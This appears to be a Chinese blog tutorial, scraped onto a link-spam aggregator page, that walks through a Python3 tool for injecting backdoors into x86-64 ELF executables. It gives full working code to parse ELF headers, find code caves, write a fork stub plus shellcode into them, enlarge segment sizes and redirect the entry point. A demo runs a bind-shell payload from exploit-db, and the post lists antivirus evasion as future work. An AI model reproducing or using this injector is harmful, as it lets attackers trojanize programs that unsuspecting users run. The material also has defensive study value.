当前位置: 首页 > news >正文

手机网站建设公司联系电话/域名被墙检测

手机网站建设公司联系电话,域名被墙检测,贵阳网站开发哪家好,网站建设百度云在渗透测试中,给常用的可执行文件加上后门是很常见的操作。但是之前的加后门 "The backdoor factory" 已经不维护了,而且还是 Python2 写的,代码质量也...所以我自己尝试着重新用 Python3 造了个轮子。在造轮子的过程中&#xff0c…

6a18bf6cc02ed2fcae64cb6b8ee9ea79.png

在渗透测试中,给常用的可执行文件加上后门是很常见的操作。但是之前的加后门 "The backdoor factory" 已经不维护了,而且还是 Python2 写的,代码质量也...所以我自己尝试着重新用 Python3 造了个轮子。在造轮子的过程中,由于 APUE 扔在学校里面了,导致在写和系统相关的汇编时出现了一些翻车情况...

加后门的流程

基本分为两部分,先分析 ELF,然后根据之前的分析来给 ELF 加个"补丁"。

  1. 先分析 ELF 结构,拿到 ELF File Header 和 ELF Program Headers (Segments) 的相关信息
  2. 通过 ELF Program Header 找到带有执行权限的 LOAD 段,看看这个 LOAD 段后有没有 Code Cave。即寻找不属于其他的 Section,ELF 文件为了对其 Segments 而填充的大量 0 字节
  3. 如果 Segment 末尾出现了一堆 0 字节填充,并且大小合适的话,在这段空白处加入后门代码和相应的辅助代码
  4. 扩充后门代码和辅助代码所在的 Segments 的 p_filesz 和 p_memsz,让后门代码加载进内存
  5. 将 ELF File Header 的 e_entry 指向后门代码

ELF 分析过程

介绍 ELF 结构的文章非常多,这里我推荐 UClib 的文档 ,里面讲了 ELF 的不同结构及其作用。有了这个文档后 ELF 文件的分析就非常简单了,可以使用 Python 的 struct 库来提取数据进行分析。首先通过 ELF File Header 获取到 e_phoff Program header 的文件偏移,然后 seek 到相应位置解析 Program header。

class elf_info:'''This class will parse ELF file and get information from ELF file.'''def __init__(self, file):self.file = fileself.header = self._parse_header()self.segments = self._parse_segment()def _parse_header(self):'''header parse part.'''hdr = {}hdr['e_ident'] = unpack('4sccccc6sc', self.file.read(16))hdr['e_type'], hdr['e_machine'] = unpack('<hh', self.file.read(4))hdr['e_version'], = unpack('<I', self.file.read(4))# Entry point virtual addresshdr['e_entry'], = unpack('<Q', self.file.read(8))# segment/section header file offsethdr['e_phoff'], hdr['e_shoff'] = unpack('<QQ', self.file.read(16))# Processor-specific flags, ELF Header size in byteshdr['e_flags'], hdr['e_ehsize'] = unpack('<Ih', self.file.read(6))# Program header table entry size, Program header table entry counthdr['e_phentsize'], hdr['e_phnum'] = unpack('<hh', self.file.read(4))# Section header table entry size, Section header table entry counthdr['e_shentsize'], hdr['e_shnum'] = unpack('<hh', self.file.read(4))# Section header string table indexhdr['e_shtrndx'], = unpack('<h', self.file.read(2))return hdrdef _parse_segment(self):'''segment/program header parse part.'''self.file.seek(self.header['e_phoff'])segments = []for i in range(self.header['e_phnum']):seg = {}# Type of segment, Segment attributesseg['p_type'], seg['p_flags'] = unpack('<II', self.file.read(8))# Offset in fileseg['p_offset'], = unpack('<Q', self.file.read(8))# Virtual address in memory, Reservedseg['p_vaddr'], seg['p_paddr'] = unpack('<QQ', self.file.read(16))# Size of segment in file, Size of segment in memoryseg['p_filesz'], seg['p_memsz'] = unpack('<QQ', self.file.read(16))# Alignment of segmentseg['p_align'], = unpack('<Q', self.file.read(8))segments.append(seg)return segments

ELF 补丁过程

下面是 Patch 程序的主要流程了,首先是找到合适大小的 Code Cave,然后往这个 Code Cave 里填上辅助代码和相应后门,最后修改 ELF File Header 和 ELF Program Header 让后门得以载入内存并执行。

class injector:def __init__(self, file, inject_code: bytes):self.file = fileself.info = elf_info(self.file)code = b''.join([b'x6ax39',       # push    0x39b'x58',           # pop     raxb'x0fx05',       # syscallb'x48x85xc0',   # test    rax, raxb'x74x0c',       # je      0x16# movabs  rbp, entryb'x48xbd' + pack('<Q', self.info.header['e_entry']),b'xffxe5',       # jmp     rbpinject_code])      # inject codesegs = self.find_cave(len(code))if len(segs) == 0:logger.error('No cave in the program')returntarget_idx = segs[0]['index']target = self.info.segments[target_idx]code_offset = target['p_offset'] + target['p_filesz']logger.info(f'Writing code to 0x{code_offset:x}')self.add_machine_code(code_offset, code)new_size = target['p_filesz'] + len(code)logger.info(f'Writing file/mem size to 0x{new_size:x}')self.extend_seg_size(target_idx, new_size)code_va = target['p_vaddr'] + target['p_filesz']logger.info(f'Writing entry to 0x{code_va:x}')self.modify_entry(code_va)

根据 ELF 信息,我们先寻找 ELF 文件中的 Cave。如果出现某个 LOAD Segment 的 'p_filesz' 和 'p_vaddr' 的和小于下一个 Segment 的 'p_vaddr',那么很有可能在这个地方出现 Cave,通过遍历文件来验证这个 Segment 是否存在 Code Cave。

def verify_cave(self, start: int, len_: int) -> int:'''Walking through file to verlify cave's size'''self.file.seek(start)count = 0while self.file.tell() < start + len_:b = self.file.read(1)if b == b'x00':count += 1else:breakreturn countdef find_cave(self, need_size: int):'''Find the cave in LOAD, exec segmentcave means segment's file size is smaller than alloc size'''load_segs = list(filter(lambda x: x['p_type'] == 1,self.info.segments))if len(load_segs) <= 0:exit(1)cave_segs = []for i in range(len(load_segs) - 1):c_seg = load_segs[i]n_seg = load_segs[i + 1]# Not a LOAD segmentsif not c_seg['p_flags'] & 1:continue# First verifymax_range = c_seg['p_filesz'] + c_seg['p_vaddr']if max_range >= n_seg['p_vaddr']:continuereal_size = self.verify_cave(c_seg['p_offset'] + c_seg['p_filesz'],n_seg['p_vaddr'] - max_range)# cave size is too smallif real_size <= need_size:continuelogger.info(f'Found a {real_size} bytes cave')cave_segs.append({'index': self.info.segments.index(c_seg),'cave_size': real_size})return cave_segs

然后是往 Code Cave 处加入辅助代码和后门。后门代码的位置由 目标 Segment 的文件偏移 + 目标 Segment 的文件大小 计算得到,辅助代码复制自 The backdoor factory。这里需要注意的是辅助代码的逻辑,首先是用 fork 创建子进程,如果当前程序是子进程的话,则执行后门,如果当前程序不是子进程的话,就跳转到原程序的 entry。

code = b''.join([b'x6ax39',        # push    0x39b'x58',            # pop     raxb'x0fx05',        # syscallb'x48x85xc0',    # test    rax, raxb'x74x0c',        # je      inject code# movabs  rbp, entryb'x48xbd' + pack('<Q', self.info.header['e_entry']),b'xffxe5',        # jmp     rbpinject_code])       # inject code
code_offset = target['p_offset'] + target['p_filesz']
logger.info(f'Writing code to 0x{code_offset:x}')
self.add_machine_code(code_offset, code)def add_machine_code(self, pos: int, code: bytes):'''Add code in the increased LOAD segments'''self.file.seek(pos)self.file.write(code)

接下来就算 Patch 上 entry 和 Program Header,让辅助代码和后门得以载入内存并运行。Segment 的 filesz 由 Segment 的旧 filesz + 注入代码长度 得到。而程序的新入口点则是由 Segment 的虚拟地址 + Segment 的旧filesz 得到。

new_size = target['p_filesz'] + len(code)
logger.info(f'Writing file/mem size to 0x{new_size:x}')
self.extend_seg_size(target_idx, new_size)code_va = target['p_vaddr'] + target['p_filesz']
logger.info(f'Writing entry to 0x{code_va:x}')
self.modify_entry(code_va)def extend_seg_size(self, seg_pos: int, new_size: int):'''Patch segment to increase LOAD file size'''file_pos = self.info.header['e_phoff'] + seg_pos * self.info.header['e_phentsize']if self.info.header['e_machine'] == 62:file_pos += 32# TODO: abstract elf types to adapt more architectureselse:passself.file.seek(file_pos)# TODO: static pack sizeself.file.write(pack('<Q', new_size) * 2)def modify_entry(self, new_entry: int):self.file.seek(24)self.file.write(pack('<Q', new_entry))

实战

首先先准备个傀儡,使用 gcc test.c -o test.elf -no-pie 进行编译,如果没有启用 -no-pie 的话程序可能无法运行。

#include <stdio.h>int main()
{printf("Hello, world!n");return 0;
}

我使用了 https://www.exploit-db.com/shellcodes/41128 的正向 Shell 代码,可以发现原程序正常运行,而后门代码也运行了。

480585c0c42e2b54a29828bafab9d8e4.png

完整代码

由于代码太长了,所以我将代码放在了 gist 上了 https://gist.github.com/chenx6/0cedc163bea2aaefd433fff7d02cd4c1,如果访问不了的话可以手动复制粘贴代码,应该可以拼接成可以运行的程序。

未完成工作

这个代码只是一个简单的 DEMO,想要扩展成可维护的软件的话,我个人有下面几个发展方向

  1. 将 pack 和 unpack 进行封装,类似 pwntools。
  2. 对 32 位 ELF 文件及其他架构 CPU 的支持可以由增加 ELF 信息来实现,例如在 ELF 信息中将字节序,每一种类型的长度,提取方法通过 ELF 信息类的成员来进行描述。
  3. 本文只实现了当 Code Cave 存在时的后门植入,如果没有 Code Cave 时候需要扩展文件来实现后门植入。
  4. 对辅助代码及后门代码进行改写,加密以实现绕过杀毒软件。
  5. 对位置无关代码的 Patch。
  6. 使用还在维护的库对 ELF 进行 Patch,例如 LIEF。

refs

exploit database https://www.exploit-db.com

The backdoor factoryhttps://github.com/secretsquirrel/the-backdoor-factory/

UCLib 关于 ELF 格式的文档https://uclibc.org/docs/elf-64-gen.pdf

看不进去英文可以配合 CSDN 这篇文章 https://blog.csdn.net/feglass/article/details/51469511

http://www.jmfq.cn/news/5115313.html

相关文章:

  • wordpress隐藏站点身份/爱站seo综合查询
  • 帮客户做插边球网站/中国新闻网发稿
  • 深圳有哪些网站公司/店铺引流的30种方法
  • 电子商务网站建设实训心得体会/谷歌网站网址
  • 东台网站网站建设/推广普通话手抄报句子
  • 番禺区大石做网站/b2b外贸平台
  • 腾讯云做网站需要报备/泰安百度推广代理
  • 网站排名外包/什么样的人适合做策划
  • 杭州专业的网站制作公司/如何做互联网营销推广
  • 北京顺义住房和城乡建设委员会网站/新闻热点事件
  • 保洁公司网站源码/海外网站
  • 安平做网站/上海网站推广排名公司
  • 内蒙古乌海建设局网站/seo优化专员工作内容
  • 做交友网站多少钱/中国十大小说网站排名
  • by开头的网络黄页平台/seo的优化步骤
  • wordpress函数源码/网站seo排名优化工具
  • 浦东新区办营业执照哪里办/夫唯seo视频教程
  • 芜湖营销型网站建设/爱站网seo培训
  • 广东网站开发软件/常见的线下推广渠道有哪些
  • 做网站怎么赚钱 注册/网络营销教材电子版
  • 网站js文件夹/成都移动seo
  • 新手建站工具/torrent种子猫
  • 18.ppt网站是谁做的/产品经理培训
  • 有哪些网站做的比较好/浏览广告赚钱的平台
  • 政府门户网站的建设目标/学生个人网页优秀模板
  • 河南建设河南勘察设计协会网站/站长之家seo综合
  • 前端程序员/seo查询平台
  • wordpress如何修改行距/网站优化公司上海
  • 网站上的3d产品展示怎么做/北京seo招聘信息
  • 怎么搭建购物网站/中山谷歌推广